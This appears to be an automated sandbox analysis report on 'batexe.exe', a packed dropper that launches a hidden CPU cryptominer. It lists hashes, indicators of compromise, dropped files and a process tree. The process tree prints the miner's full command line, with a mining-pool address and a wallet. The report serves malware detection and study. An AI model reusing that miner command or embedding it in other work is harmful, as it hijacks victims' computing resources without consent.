73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
294s
platform
windows10-1703_x64
resource
win10-20231220-ja
resource tags

arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 16:49

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4476	b2e.exe
4816	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/5040-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5040 wrote to memory of 4476	5040	batexe.exe	75
PID 5040 wrote to memory of 4476	5040	batexe.exe	75
PID 5040 wrote to memory of 4476	5040	batexe.exe	75
PID 4476 wrote to memory of 1308	4476	b2e.exe	77
PID 4476 wrote to memory of 1308	4476	b2e.exe	77
PID 4476 wrote to memory of 1308	4476	b2e.exe	77
PID 1308 wrote to memory of 4816	1308	cmd.exe	79
PID 1308 wrote to memory of 4816	1308	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5040
- C:\Users\Admin\AppData\Local\Temp\9710.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9710.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9710.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\98D5.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1308
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9710.tmp\b2e.exe

Filesize
17.7MB

MD5
4ca583cde5df7dc84b5bcd008a5802a8

SHA1
daf1362e6a0384f7fc265faecd228c0052f0479b

SHA256
af83378dccec0aff1399f21ea5e0130b0e8ff36f38e121618e41b1e7b664a932

SHA512
3eb96affc24256e62e7cfb94c6d3b8207fb7390e02b39c4be83b2e035f7be6777927701c2c75d95f48cf43e41d76d8df81baa05670eac6e1556d0ccec6576308

Download Submit
C:\Users\Admin\AppData\Local\Temp\9710.tmp\b2e.exe

Filesize
15.8MB

MD5
1b774245d3e93911ddb4d2000dfde6d5

SHA1
573e8c96f009153c8dfe3e6b256310312dce6000

SHA256
d020133acb9cfa2d5ac9735daab26cb53db6f3a79bba5f18f17c2075cac7fede

SHA512
5ca14445a2ae26209f92d1f3be8a2a857bdbd0775313dd079590526fd0aa3223db925bc5cb24719236c02436170acde9b7303144e70f7e9702918b657a725b43

Download Submit
C:\Users\Admin\AppData\Local\Temp\98D5.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.2MB

MD5
cdae45f479af959b796067d769bcef29

SHA1
132c6ea0d4267d94dcd5d786c1eab923a439384c

SHA256
ea0e214f9df934044e968fb4a4156efc66cf67fa1603208179f4165e323eda95

SHA512
070ab6a6daa436ac74a03b030ad791aee69ed50b0c679238a2505f8a8175c41731296e7cfe439491fa1c174373d2e7d7dd7c981d99a0f55f98821d3bf99a6c1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.1MB

MD5
60f8108f995b94bf3b8924761d700f2f

SHA1
87de69232d86e8e521118f84cc71cadc2fac935c

SHA256
cfa44f1e9b5cf5d5de3859686aea5661dac77d972a8d29e10035e7143c4df0aa

SHA512
8d96af3c6167ae7bc2d57d1a1f9eb3dad056597a810b7586143249d1308f994252b09cfce340ae86da8fd8d87d8c2babbfc3330f78e53909af60a327702121d6

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.3MB

MD5
8a1fa782e8dd6f9ca2a70fd4e83ccbb2

SHA1
c19e8938143a722fd66e734adc6f0ef3bdf8f6b9

SHA256
65bf09762b6016c3b21a0b9a76fbe575f9caf25fcdb8a4efefcb5a1371c94ef4

SHA512
69db64370e20cb5c858a4fafedbd2677a69301b30e579579751bf5ac1dedc9b05bd84a29836eb2970a4ab81b5d59ab718836f2f1bd763f44f31466a3fb799e3b

Download Submit
memory/4476-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4476-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4816-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4816-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-43-0x000000006D380000-0x000000006D418000-memory.dmp

Filesize
608KB

Download
memory/4816-44-0x0000000001040000-0x00000000028F5000-memory.dmp

Filesize
24.7MB

Download
memory/4816-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4816-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5040-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download